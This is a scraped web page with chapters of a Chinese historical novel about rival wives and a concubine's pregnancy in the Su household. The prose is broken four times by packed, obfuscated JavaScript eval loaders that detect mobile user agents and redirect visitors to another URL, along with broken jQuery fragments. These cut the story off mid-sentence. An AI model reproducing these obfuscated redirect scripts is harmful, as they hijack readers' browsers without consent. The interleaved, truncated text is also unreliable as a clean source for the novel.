l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376773|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下熙熙,皆为利来;天下攘攘,皆为利往。’谁的话都不可信!二夫人大概以为我不知道她和大夫人的渊源吧。娘家已无靠山,只能凭借丈夫稳固自己身份,她又拿什么来保我这个没身份的人呢?不过,没有永远的敌人,姑且看看谁能做暂时的朋友吧。”李意如意味深长得抿了下嘴,便闭目养神了。 宋清欢刚走出杏雨斋的大门口,迎面跑来了等候已久的绿珠。“姑娘,您要的燕窝我带过来了!”宋清欢回头瞧了瞧,点了点头,“你去大夫人那,把燕窝送过去,就说这是府里得来的上好补品,最能养颜安神。” 绿珠“嗯”了一声,转头向着清晖轩的方向走去。 “等等!”宋清欢忽的想起了什么,急忙叫住了绿珠。“大夫人身边的吉祥,你可熟悉?” “当然熟悉,之前我就是在大公子院里伺候,吉祥是大夫人的陪嫁丫头,大夫人过了门,我们就一起在院里做事。后来大公子一家南下,我和吉祥就分开了,她还哭了一鼻子呢!” 宋清欢若有所思,她摘下了戴在手上的玉镯,递给绿珠,“你把这对云纹玉镯送给她。” 绿珠看着宋清欢冷峻的双眸,立刻明白了其中深意,“二夫人放心!我去去就回。” 清晖轩后院的小花园,几株腊梅暗送幽香,吉祥小心翼翼地攀着枝条,瞧准了含苞最多的一枝,轻轻地折了下来。 “吉祥——” 远远地听到有人唤自己的名字,她停了下来,朝着声音处张望。直到绿珠走近,她才惊讶地大叫一声,“呀,绿珠。”吉祥拉过绿珠,又紧张地四下里望了望。 绿珠拍了拍吉祥的脑门,笑着说:“不用担心,我悄悄过来的,没人看见!” 吉祥舒了一口气,“这么多年没见,好不容易回来了,我都不敢跟你说话,生怕大夫人怪罪!” 绿珠撇撇嘴,“谁说不是呢,今日二夫人吩咐我过来给大夫人送燕窝,这才抽出身,回去之前正好和你说会话!”绿珠忙拿出玉镯,抓过吉祥的手就戴了上去,“这是二公子成婚赏的云纹玉镯,我舍不得戴,特意留给你。” 吉祥有些惶恐,“这怎么成,太贵重了,我——” “戴着不许摘!不然我再也不理你了!” 被绿珠这么一说,吉祥停住了手,“那就谢谢我的绿珠好姐姐啦!” 绿珠满意地点点头,“这才对嘛!呀,看你手凉的,大冷天的出来折腊梅,我快给你捂捂!”绿珠呵着气,紧握着吉祥的双手。“好多话想和你说,一见了面,却不知从何说起。虽然以后咱们又在一起了,终究不像以前在一个院,不知道下次在一起说说话,又得多久。” 吉祥有些伤感,“不然我求求大夫人,把你要回来!” “可别!”绿珠惊慌失措,“万一被二夫人知道了,我可怎么活!” 吉祥却不甘心,“你本来就是在大公子院伺候着,还不是因为二公子成婚了,才把你拨过去的。你回原处,也算是天经地义。” 绿珠无奈地摇了摇头,“这两位夫人的关系你都看在眼里,我要是有了回来的念头,二夫人会视我为叛徒,大夫人会怀疑我是二夫人派来的奸细,哪边都没好儿。吉祥,你的好意我心领了,咱们做奴婢的,身家去处,全凭主人一句话,由不得自己!” 吉祥沉默不语,只是慨叹着生来就是奴婢的命。绿珠又抱怨着,“你说这李娘子怎么那么好命,偏偏怀了府里的第一个孩子,二夫人可就惨了,本来二公子的心就不在她这。还是大夫人尊贵,大公子始终敬着、爱着,竟不纳妾室,就是、就是大夫人怎么还不见有孕?”绿珠小心翼翼地嘟囔着。 “怕是没这个福气了。” “啊?你说大夫人怎么?”绿珠瞪大了双眼。 “啊,没、没什么。就是身子弱些,不易有孕,这几年日日汤药调养着。”吉祥瞬间的言辞闪烁,一刹那又恢复如初。“绿珠,这件事可别跟其他人说啊,特别是二夫人,不然,大夫人肯定得打死我!”绿珠拉着她的手,坚定地点了点头。 12. 十二、李意如的秘密 杏雨天,不愧是京师最有名气的歌舞坊,门庭若市、美女如云!小舟扮成男子模样,大摇大摆地走了进去。杏雨天的秦妈妈见了这位生客,上前招呼。 小舟直接拿出一锭银子放于她的眼前,“我只见柳心月、柳娘子!” 秦妈妈一见对方出手阔绰,藏不住的笑脸盈盈,“好说、好说,柳娘子在二楼,我这就带您过去!” 门内屏风,美人如花隔云端,似端坐于琴台,影影绰绰。“今日我歇息,不见客。”轻柔的声音中多了几分刚强倔强。 秦妈妈尴尬地陪笑着,“这位小郎君一心想一睹芳颜,姑娘慈悲,可不能拒绝了。” 小舟在屏风外听着,她出来一次不好吃闭门羹,于是低着嗓子说道:“在下周、周清,久闻娘子盛名,仰慕多时,今鼓足勇气前来一见,却不承想扰了娘子清静,周某别无他求,只盼能一睹芳颜,聊叙幽怀!” 小舟深深地鞠了一躬,弯着腰,她似乎感觉到柳心月站起身,隔着屏风在看她。这时,秦妈妈默默地退出了房间,关门时用眼神示意小舟可以进去了。小舟直起身来,试探着,慢慢地从屏风外走了进来,一下便愣住了。眉目如画,唇色含樱,眼神清澈而深邃,仿佛能看透人心,却又带着一丝不可接近的神秘感。 “周清?” 清泉悦耳,听之使人心神宁静。小舟有些出神,她定了定,回道:“啊,正是。柳娘子气质如兰真是百闻不如一见,周某此生无憾了。” 柳心月听罢,不禁失笑,小舟不明所以,“柳娘子笑什么?啊,是我说的话冒昧了,还请娘子见谅!。” 柳心月摆了摆手,笑道:“你一个小丫头,扮成小郎君,流连这花阵酒池、香山药海,是何道理?” “柳娘子,你真爱说笑,我哪里——” “我见过的人,男男女女,不知有多少,你这小伎俩在我面前如同儿戏。” 小舟顿时哑口无言,不知所措,只是默默地低下了头。柳心月继续追问:“我倒是很好奇,你鬼鬼祟祟,找我什么目的?” “我、我就是想、想见你。” “再胡说就让秦妈妈把你赶出去!让大堂里的众人看看,是哪家的小丫头,跑到了烟花柳巷!” 小舟一听,吓坏了,一下子瘫倒在地上,她急忙跪在柳心月面前请求原谅,“柳娘子,我、我是有事相求,所以才扮成男子来见你,是我唐突了!给娘子赔不是!” 柳心月并不言语,她转过头,缓缓地坐在了椅子上,端起旁边的一盏茶,抿了一口,“说吧,你个小丫头,找我有什么事?你最好实话实说,否则,我让你爬着出这杏雨天的大门!” “实话、就是实话!”小舟依旧战战兢兢,“我打听到,枢密院苏瑷大人的二公子苏明锦,将杏雨天的李意如接进了府。” “哼!”柳心月轻笑一声,“不过是个没名没分的婢女。” “那是以前,现在就不好说了。” “哦?”柳心月瞬间来了精神,“怎么?难不成做了大娘子?” “那倒不是,不过李娘子有了身孕,府里上上下下都欢喜得很,特别是苏大人,这可是苏府目前唯一的血脉了。想必不假时日,李娘子就会正式过了纳妾文书,身份就不一样了。” 柳心月“哼”了一声,似是十分轻蔑,又抬眼瞧了瞧跪在面前的小舟,轻飘飘的问道:“你与我说这些做什么?” “不瞒柳娘子,我生来就是奴婢,只是心比天高,也想拼个前程。听闻李意如曾在杏雨天与柳娘子交好,所以、所以,奴婢想当面请教您,呃、如何能像李意如那般,逆天改命。” “她?”柳心月身边的丫头面色不悦,皱着眉头看向柳心月。 “哼,我当是谁。”柳心月苦笑一句,摇了摇头。她缓缓起身倚向窗边,“你起来吧。”思绪飘飞,似是又回到了那次林霄的生日宴。 林霄的红颜知己柳心月负责操办这场宴会,李意如得知此事,拿上一盒上好的胭脂,孝敬给了师姐柳心月,并恳求师姐让自己能在宴会中有一次露脸的机会。多年姐妹,情谊深厚,况且李意如不为夺林公子眼球,她为了追求自己的如意郎君,费心费力,理应全力支持,于是,柳心月欣然允了下来。 柳心月安排了自己最拿手的琵琶弹奏,誓要在酒宴中成为众人的焦点,也好让林霄在众位郎君面前脸上增光。她的琵琶是压轴节目,足可见分量之大。 李意如的琵琶排在靠前位置,快轮到她时,李意如声称琵琶临时出了些故障,需要更换琴弦,就让后面唱曲的翡翠先顶了上去。如此多番前后倒换,李意如就变成了倒数第二个出场的了。对于席间表演助兴的出场顺序,柳心月哪里留心过,她的心思,今晚全都停留在林霄一个人身上。只是,当看到李意如竟然在众人表演完才抱着琵琶出来,她才慌了神。居然敢擅自调换顺序!柳心月在心底恨恨地说道。原本今晚琵琶只有自己一人,出于情面,才把李意如加了进来,为了分开两个相同乐器的演奏,她特意将李意如的出场安排在了前面。明知道自己的琵琶压轴,她李意如,这是要做什么? 一曲《阳春》让在场的所有宾客为之动容,李意如又顺其自然的和苏明锦搭上了话,才子佳人、众人更是越发的起哄。唯有柳心月一人,强作欢笑,嘴角颤颤,眼中喷火,似是要将面前的这个美人撕碎。 这时翡翠悄悄地挪到了柳心月跟前儿问道:“心月,你的琵琶,还能上吗?”柳心月眉头一皱,无奈地摇了摇头,眼下李意如得尽了便宜,自己若执意演奏,就算技高一筹,也难免落个拾人牙慧的境地。 “哼,抢尽风头、恩将仇报,以后在杏雨天有她好受的!”翡翠冷嘲热讽,送了一个白眼。柳心月却只能表面笑如春风,内心却翻江倒海,把李意如那小贱人祖宗十八代骂了个遍。 “呵,就是这样了,有本事就学着去吧。”柳心月回忆完,苦笑道。 “学什么不好,偏偏学那下作的法子,娘子,我看把她轰出去得了!”柳心月身边的丫头十分不耐烦。 小舟“啊”了一声,急忙对着柳心月行了个礼,“娘子莫怪,我原是不知道实情的,谁承想李娘子为了自己的前程,枉费柳娘子的一番好意。这种见利忘义、背弃姐妹的事情,我是断然学不来的!” “人各有命吧,如今的她,也不枉自己的苦心算计了!只是这算计,不该把自己的姐妹也蒙骗其中。”柳心月叹然。 小舟又行一礼,准备告辞,“今日多亏了娘子教导,娘子姿容绝尘、又赤忱心善,必会有个好归宿的。” 柳心月慨然一笑,“那就借你吉言了。” 马道街口,小蛮行色匆匆,四处张望,小心翼翼的穿过最热闹的街市,再确认没有人尾随的情况下,悄声溜进了一家医馆。不出一刻钟,就挎着包袱走了出来,打量着四周的动静,灰溜溜地跑没了影儿。 医馆人不多,胡大夫正在药柜前摆弄今日新到的几味草药。抬眼间,看到一位戴着帷帽的素衣女子,不知是何时站在了自己的面前。 “小娘子,看病还是抓药?” 那女子并未搭话,隔着面纱,似是在仔细打量着对面一脸茫然的胡大夫。胡大夫只得再次重复了一遍他的问题。 女子伸出手,递出一锭银子,幽幽地问道:“麻烦大夫将刚刚出去的那位娘子开的药方子,给我瞧一瞧。” 胡大夫顿时知晓了对方的来意,他笑呵呵地摇摇头,把拿着那一锭银子的手,推了回去。“小娘子,我是个大夫,这种出卖病人私隐的事,是万万做不得的!” 女子又掏出了一锭银子,晃在了他的面前。胡大夫无奈的摆了摆手,解释道:“小娘子,您误会了,这可不是钱的事。医者父母心,我们这行的规矩不能破啊。” 女子怔了怔,却没有要放弃的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376774|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,她站在原地,凝视着面前的大夫,让对方看不清她的脸上究竟有着怎样的情绪变化。“那么,就劳烦大夫,给我开一副和方才那位娘子,一模一样的药。”说罢,女子又拿出一锭银子,和之前的两锭银子一起,放在了胡大夫身前的柜台之上。 胡大夫低头看着这些银钱,心里犯了难。女子看出了他的迟疑,缓缓的说了句,“医者父母心,大夫不会连给病人开些汤药都拒绝吧?” 胡大夫顿时语塞,他低头沉思,却时不时地擦了擦眼,似是被那三锭银子晃得眼睛疼,“这……敢问小娘子,这药是给?我这药铺可是清清白白,不做谋人性命的生意啊!” 女子不禁失笑,“自然是给不方便露面的主子所用,深门内宅,一朝得子,唯愿安稳。您就放心吧,我们也是听说了您的医术,这才上门求药。” 胡大夫动摇了,像这种不愿透露真实身份的大户人家,他不是没有遇到过,只是今天这位,不问症状便要别人方子的主顾,却是少见。他又转念一想,这神秘人索要的,不过是之前那位小娘子给主家拿的保胎方子,又不是什么见不得人的东西,于是,便嘱咐道:“不过是一张保胎的方子,我照写给你就得了。但人与人的体质不一样,也断断不能乱用的。”说罢,随手写了方子,递给了眼前的女子。 女子接过方子,仔细瞧了瞧,喃喃道:“不愧是人人称道的神医,这方子用药讲究得很。”她又拿出了一锭银子,算是另外的犒赏,“不过,这一味杜仲是不是用的太猛了。” 看来女子是通些医理的,隔着面纱,胡大夫看不清她此时的眼神,“娘子是信不过老夫的医术吗?” 女子幽幽说道:“杜仲,补肝肾、强筋骨,亦可安胎。对于胎动不安、胎儿难留者,实乃保胎利器。可安胎讲求配伍,你这用量显然是多了,难不成这用药之人久有滑胎之兆?” 胡大夫心里一惊,这一丝的慌乱却被女子敏锐地捕捉到了。胡大夫呵呵发笑,“富贵人家的眷属,自然娇贵了些,吉人天相,也是没有大碍的。” 女子并未纠缠在这个问题上,淡淡地说了句,“谢过您了,告辞!” 胡大夫望着女子远去的背影,一个人怔在那里出神。得嘞,又不是什么害人的买卖,反正自己没有透露对方的身份,也算是没有违背医者的良心。 胡大夫收起了柜上的银锭子,一转身,正对上了前来抓药的绿珠。“哎呀,小娘子何时来的,吓我一跳!” 绿珠瞧了瞧左右,已是傍晚,医馆应是要关门了,也没有人再继续进来。“我看老先生您想事情出神呢!” “呵呵。”胡大夫讪讪一笑,“小娘子是来问诊,还是抓药呢?” 绿珠再次环顾四周,确认没有其他人后,才浅浅一笑,缓缓说道:“听说胡大夫用药堪称一绝,我嘛,也是经人推荐,替我家主母求药来了。” 胡大夫在明面上并不是以此等本事而扬名的,所以心里犯嘀咕,不知道怎么的,最近这几个人对怀孕、用药这么的感兴趣。他心中隐隐担忧,所以不想过于张扬。“哪里哪里,我可不是什么千金圣手,只是给人开几副安胎养身的药罢了。” 绿珠浅浅一笑,“开安胎药不是什么稀奇事,我家主母想要的,是一副让她顺利有孕的汤药!既然我能找到您这来,那必然是对您的医术有所耳闻!” 胡大夫摆了摆手,说道:“这是天缘,我们这做大夫的,也不过是顺应天道,来给众位娘子保胎安神以待麟儿,若你家主母不嫌弃,我可亲自登门把脉,开几副调养身子的药,如此养精蓄神,有孕也是迟早的事了。” 绿珠怔了怔,她怎么好让一个市井大夫进府给二夫人把脉呢?于是笑了笑,回应道:“若主母需要,我自会前来接您进府。” 冷清的街道,绿珠若有所思。今天这一趟是毫无收获啊,她是尾随着小蛮来到这个医馆的,莫不是自己想多了? 13. 十三、因利而盟 自从苏明轩夫妇回了老宅,清晖轩一改往日的沉寂与冷清,大概是苏明轩留朝的消息早就有了眉目,每日登门拜访的人也是络绎不绝。李婉柔整日忙于应付众来客,俨然一副苏家主母的气势与阵仗。 这一日,李婉柔用过了晚饭,正斜倚在铺着白狐貂的躺椅上闭目养神。吉祥掀帘走了进来,“夫人,二夫人来院里要见您。” “哦。”李婉柔没有睁眼。 “呃,二夫人是一个人来的。” “哦?”李婉柔这才睁开眼,心里嘀咕,凄寒夜色,霜重径寒,她只身前来,莫不是自己的计谋被…… “大嫂,这么晚过来叨扰,见谅了!”宋清欢梨涡浅笑,给李婉柔行了礼。李婉柔却未搭话,只是示意对方坐下说话,慢慢地试探她今日来的由头。 “这是新得的上好徽墨,想着大哥以文墨为伴,特意送到清晖轩来。” “弟妹大晚上一个人过来,不会就为了送这方徽墨?” “呵呵,今日无聊,找大嫂说说话,大嫂可信?” “哈哈,我为什么不信?” 说罢,两个人都各怀鬼胎的笑了。宋清欢当然不是找李婉柔聊闲天,他们两个在一起,只能是不出五句话就暗地里呛呛起来,所谓话不投机半句多是也。李婉柔高傲地抬着眸子,却不发问,也不发难,这和之前的咄咄逼人实在是判若两人。停了片刻,倒是宋清欢先开了口。 “大哥以后留任在京,咱们一大家子有的热闹了!” “呵呵,弟妹入府后也学着管家了,父亲自母亲辞世,也没在续弦,这苏家主母自然就落在了你我身上,不过按照长幼之分,我一回来,怕是有人要失望了。” “大嫂这是哪里话?您应该知道,错嫁的宋清欢不比宋意欢,可不喜内宅琐事!” 李婉柔眯着的眼睛顿时微睁,欠着的身子也向前坐了坐。“呵呵,姐妹易嫁,想必你早知晓了其中缘由,今日你来,莫不是?” “陈年旧事,不值得再提。”宋清欢没等李婉柔说明白,就把这个话题岔过去了。如今木已成舟,此番境遇自己也是无可奈何,而眼下最重要的,是在这个深宅大院里安稳的生活下去,“我是如何稀里糊涂嫁入苏府,大嫂您更清楚不过了,我虽不喜宅院争斗,但也怕一个不留心就粉身碎骨。所以,我此番深夜独来,是想和大嫂共进退。” 李婉柔似是松了口气,忽地掩面大笑,“怎么?你是忘了新婚之辱了?怕是你心里怨恨的紧呢,你今夜说的这话,呵呵,我会信吗?再说了,我堂堂苏家长媳,你们二房的你争我斗,我有必要掺和进去吗?” 李婉柔说的没错,她前有丈夫的尊宠,后有足够强大的娘家做支撑,她想要什么得不到? 宋清欢只是不做声,且陪笑着,看来必须得往对方的痛处戳了。 宋清欢轻轻咳了咳,缓缓道:“唉,真是羡慕大嫂,伉俪情深,大哥这么多年也未曾纳妾,我却次次被妾室欺辱。大嫂是没看到父亲对李娘子前后的态度,知道她有孕后那是欢天喜地,竟不嫌弃她柳巷出身了,妾的名分是迟早的事。反观你我二人,皆无所出,想必父亲是不满的,我不在意苏明锦对她的爱意,只是,安身立命,是嫁入深宅的每位女子所期望的。我请求大嫂援手,并不伤人性命,只是不想大嫂继续误解我、与我为敌。” 李婉柔轻轻地又靠回了椅子上,漫不经心地听着宋清欢自诉心里的委屈和不 甘。宋清欢全然不顾对方是不是乐意听下去,只管自己说着,“父亲向来看中长房,大嫂早晚是苏家真正的主母,若是一朝得子呀,那可不同于李娘子肚子里的,父亲得添多少欢喜啊!” 一提到孩子,李婉柔明艳的脸顿时阴沉下来,“子女之事,不劳弟妹费心,你还是多操心下自己吧。” “我和明锦才成婚小半年,来日方长,子嗣是自然而然的了。李娘子再得宠,她的孩儿依旧是庶出,只要她不兴风作浪,我自然视孩儿为己出。”宋清欢说着,时不时仔细看着李婉柔的神情。“前几日,翰林院的张中,亲自挑选美娘子送进了清晖轩,想必是有心赠予大哥的吧。” 听到这,旁边伺候的吉祥立马带着屋里的丫头们退了出去。李婉柔黑着的脸顿时又阴沉了几分。那个张中,想用美色拉拢苏明轩,真是犯了自己的大忌,那位送来的美姬,又不好打发了她,只能留在院里,当个摆设。 宋清欢见李婉柔似有愠色,便继续往她的痛处戳。“成婚多年无子嗣,就算大哥顾忌着往日的情分暂不纳妾,保不准以后。官场上的那些应酬,大嫂心知肚明,大哥推的掉一次两次,可推不掉三次四次,万一和哪个小娘子……呵呵,那时的您,岂不是落入了两难的境地。” 李婉柔双手紧紧攥着衣袖的一角,恶狠狠地盯着宋清欢,“你到底想怎样?” 宋清欢呵了呵手,真诚地说道:“别无他愿,只想暖一暖大嫂的心。与其和李意如联手看我出丑,倒不如咱们妯娌一心。待李意如诞下苏家孙儿,让您来亲自抚养岂不是两全其美?这孩子既不是大哥与其他女人的骨肉,但依旧是苏家的血脉,更让您免受那些闲言碎语的攻击。而李意如,若是安分守己,纳为明锦的妾室也未尝不可。” 李婉柔笑了,“呵呵,真是个利人利己的好计谋啊。想想也是,你一个不受娘家重视的‘嫡女’,借着妹妹的名头嫁入苏家,已经是极好的归宿了,当然不愿被一个风尘女顶替。不过这听来听去,怎么好处都是你来占呢?” “您的好处可是长远着呢,大嫂也不想多年之后因为无子而被其他女人鸠占鹊巢吧?”宋清欢神情自若,“况且,苏家要是知道我们姐妹易嫁,追究起来,怕是您也脱不了干系。意欢妹妹寻了处好婚事,您是她亲表姐,总不想看着她的姻缘不作数吧。” “呵呵,我真是小瞧了你啊!”李婉柔内心怒火汹涌,却又不好发出明火,她的痛处已然被宋清欢拿捏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376775|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎,算来算去,眼下我是只能和你结盟喽?” “大嫂能和我结盟,那是在帮我,所以,您缺什么,我必会双手奉上。” “别跟我套近乎,不过是因利而盟。况且,我自不会与风尘中人走得太近。” 就这样,宋清欢和李婉柔算是结了盟,宋清欢心里清楚得很,李婉柔是绝不会为她说什么好话做什么事的,她只希望李婉柔别和李意如一起给她使绊子就好。 月光寂寂,清晖轩的烛火依旧跳动着一丝温柔。苏明轩自回到汴京之后,整日应酬不断,不是宾客满座就是夜夜笙歌,往府里送女人的事,苏明轩究竟能抵挡多少次呢?和宋清欢的这场交易,她不亏! “大夫人,我特意又找了郎中看了那药,还有李意如偷偷摸摸扔掉的熏艾的残渣,她的肚子……您不会是真要和二夫人?” 李婉柔剪了剪眼前的烛火,不紧不慢地说:“青竹,你做得很好。不过,我可没那么好心肠,敢算计我?谁都别想!” 转眼间已至年关,宋清欢接到了苏明锦的家信,说是除夕的前夜便能赶回家团圆。宋清欢喜上眉梢,数数日子,不过三日了。大哥一家让苏府多了几分生气,李意如在她的杏雨斋安分养胎,四月有余,也稳固了。府里的大小事务井井有条,只等父亲回来,她就把管家之权再还给李婉柔。 苏瑷及苏明轩奉旨归来,只是带着几个贴身的侍卫,二人一头雾水,这场仗已然胜券在握,但就在这个节骨眼上,宋军不撤,一道圣旨却将苏家父子召回了京。 福宁殿内,皇帝召见了苏家父子。 “快快起来!”赵佶急忙走下案台,扶起了跪在自己面前的苏瑷及苏明锦。“爱卿为国除乱贼,我心甚慰,这一月有余,都见消瘦了!” 苏瑷顿感受宠若惊,忙回道:“为陛下分忧、护社稷安危乃臣子的本分,臣父子二人怎敢以此居功!” 苏明锦见状,也立即应和道:“为陛下效力,虽万死而不辞!” 赵佶欣慰地看向苏明锦,频频点头,“真是虎父无犬子,明锦大有乃父之风,对了,明轩回京述职,我已将他留京任职,苏家公子一文一武,不失为京中一段佳话啊。” 苏瑷一听,忙跪谢皇恩,却被赵佶一把拉住,免了他的大礼。 “明日就是除夕,明轩也回京了,你们一家过个团圆年吧!”赵佶不紧不慢地说道。 苏瑷眉头闪过一丝凝重,刚要谢恩,不料,站在旁边的苏明锦却先开了口。 “陛下,前方战况已然明朗,不下数日,臣定能率众攻破敌军、擒拿方腊——” 苏瑷心头一慌,赶紧拽了下苏明锦的衣襟,自己先跪了下来,“明锦!” 殿内静的出奇,愈显得苏瑷的声音铿锵有力。苏明锦顿时脸色煞白,“扑通”一下跪在了地上。 “谢陛下恩德,臣即刻告退!”苏瑷不敢看赵佶是什么神情,就急忙带着苏明锦匆匆离开了。 14. 十四、悻悻而归 宫墙之内,纵使苏明锦有很多疑惑,也不敢多言。出了宫门,远远地看到苏明轩备好车马,早已等候多时。父子三人相视一笑,苏瑷拍拍两个儿子的肩膀,无需说什么,上了马车直奔家的方向。 深冬的夜总是来的那么早,阴沉的天愈显得苏府大门口的灯笼红的戳眼。宋清欢和李婉柔早已等候多时,李意如也一改往常的慵懒,随着大家等在门外。 “快看!父亲他们回来了!”宋清欢激动地指着不远处晃动的人影。 李意如循着宋清欢指的方向,踮着脚张望,这情景,她在梦里期盼无数次了,一旁的小蛮却时刻紧张着李意如的身子,不时地为她裹紧身上的大氅。 越来越近了,苏家两兄弟在最前面骑着马,后面跟着苏瑷的马车,九宝他们几个近身随行。 苏府门前,苏家兄弟下了车。 “明锦——”李意如不禁叫出了声。小蛮赶紧扯了扯李意如的衣襟,浑身冒出了冷汗,这种场合下,李意如不顾身份,是在众人面前失仪。 苏明锦下马,和苏明轩一起去扶父亲下车,忽的听到了李意如的声音,他怔了一下,不由得回头,这才看到了在角度泪眼婆娑的李意如。无需多言,他只笑着点了下头,算是一个回应。 李婉柔微微地侧了下头,瞥了下上不了台面的李意如,轻蔑瞪了一眼。又瞧了一眼站在自己旁边的宋清欢,一瞬间嘴角轻伏。 宋清欢,这个空有正妻之名的女人,唉,此刻的心里,九转回肠、寸心方断。她一言不发,无喜无悲,却难掩脸色苍白。 苏瑷自马车上下来,徐伯忙迎了上去。 “父亲!”宋清欢、李婉柔对着苏瑷行了礼,苏瑷摆了摆手,示意大家进府。 远人堂内,宋清欢早已叫人备好酒菜。“父亲一路劳顿,今晚只做了些清淡爽口的小菜。”宋清欢解释道。 苏瑷点了点头,“吃些清淡的吧,也没什么胃口。” 饭毕,几人到前厅叙话。苏明锦偷瞥了一眼父亲,默不作声,宋清欢见父子二人这般心绪,也不吱声。 李婉柔饮了一口茶,说道:“明轩被官家安置在了京中,父亲和二弟也回了家,这下一家团聚,能过个好年了。” “是呀是呀,不仅阖家团圆,李娘子胎儿已稳,来年便有添丁之喜啊!”宋清欢应和道。 苏瑷神情稍缓,“总算是还有个好消息。” 苏明轩已猜到,肯定是前方战事出了问题,他试谈地低语,“听说官家派了董中去捉拿贼首?” 苏明锦一听,不由恼火,“打的时候不见去,这要结束了,眼巴巴跑去邀功吗?父亲,我们岂不是为他人作嫁衣裳!” 苏瑷斜了一眼苏明锦,“亏你为官多年,连官家的意思都揣摩不过来吗?” 苏明锦顿时语塞,想起了殿内的窘迫,真是悔不当初。 宋清欢看着低于不语的苏明锦,又看了看满腹心事的苏瑷,缓缓说道:“物不平则鸣,也难怪父亲生气,董中他们为了邀宠,又是‘造作局’又是‘花石纲之役’的,搜刮民脂民膏供皇室赏玩,才导致了这场起义,父亲和夫君本是平叛有功,结果又被当初谄媚官家的人明目张胆的夺了去。所幸是,总算从这场风波中脱身了。” 李婉柔轻挑眉黛,宽慰道:“比起陷于朝廷内斗、让心怀不轨的人嫉恨,军功不要也罢!” 苏瑷思忖片刻,点了点头,“也罢也罢,苏家平安才是要紧!” 一家人终于展开了愁眉,准备过一个难得的团圆年。 夜色凄迷,二更的鼓声在寒风中也瑟瑟紧紧,听不真切。宋清欢挽着苏明锦的胳膊,向清风阁慢慢走去,灯笼的昏暗烛火下,依稀能看到宋清欢娇羞的面庞。 “像这样的并肩夜游,已是数月之前了,时间过得真快,可又觉得过得太慢,难怪《诗经》会说:‘一日不见,如三月兮’!”宋清欢喃喃自语,满园寒意抵不过她眼角流出的一缕缕春情。 苏明锦心中很是感动,他心里虽牵挂有孕的李意如,但对于自己的妻子,也还是十分在意的。“这段时间辛苦你了,既料理全府上下一切事务,还得照顾着意如。年根了,府中的应酬自然也多。”一切尽在不言中,苏明锦握了握宋清欢单薄的肩膀,算是对她的感激吧。 宋清欢听了苏明锦这一席话,心中反而失落,他对自己,仅仅是夫妻间的客套话吗?李意如的胎,打乱了她的所有计划,也抢去了苏明锦刚刚对她建立起的温存。 “你我之间不该是客套的寒暄,离家的这些时日,你有没有想起我呢?是儿女情长的想念。”宋清欢委屈极了。 苏明锦愕然,他确实亏欠妻子太多,顾得了李意如那边就顾不上妻子这边了,他竟有些不知如何回答宋清欢的问题,思量片刻,他才低声说道:“自然是想的,以后不许你瞎想了,这可不符合你的身份!” 宋清欢不满意,撅着小嘴娇嗔,“那你今晚好好陪我说说话吧。” 苏明锦并未回答,只是低着头。夜太黑,宋清欢眼帘微斜,却怎么也看不清苏明锦的脸上,是何种表情。 清风阁,绿珠和小舟翘首以盼,早已备好了茶水和点心。 听见有人回来,绿珠忙掀了帘子,笑迎道:“二公子可算回来了,夫人是日日盼、夜夜盼,总算把您盼回来了。”小舟也不闲着,忙接过了宋清欢的披风,又将茶盏添了热水。 苏明锦却没有脱掉披着的大氅,他眼神有些躲闪,似有话说,又一时半会的说不出口。宋清欢看着他,眼睑有些湿润,一肚子的委屈,只能是自己消化。她也不做声,又默默地低下了头。小舟看着这别扭的夫妻俩,一时间有些不知所措,绿珠倒是知趣的使了个眼色,让小舟跟着自己退出房门。 “欢儿。”苏明锦先开了口,他还是第一次以这个亲昵的称呼叫自己的妻子,“我不在这些日子,辛苦你了,意如她——” “你和父亲征战在外,我理应打理府内一切事物,任何苏府的人,都在我的照料之中,职责所在、谈何辛苦。”宋清欢伶牙俐齿,将苏明锦回怼了去。 苏明锦自知理亏,也不想争辩什么,只能硬着头皮,低着嗓子说道:“欢儿,今晚理应是陪着你叙叙话的,只是,意如那,你也知道的,晚上的家宴她没资格露面,她还有着身孕……” 呢喃低语,苏明锦也不知道自己在说些什么,宋清欢也无心听他在说什么。“行了!” 苏明锦一愣。 “你走吧,我强留你有何意义?”宋清欢坐在桌边,扭过头不去看他。不 甘、委屈、愤怒、心痛,各种情绪像一条绳索,不断地撕扯着她的心。 “明日、明日我同你一起守岁!”苏明锦无奈极了,他愧对自己深情的妻子,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376776|200106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 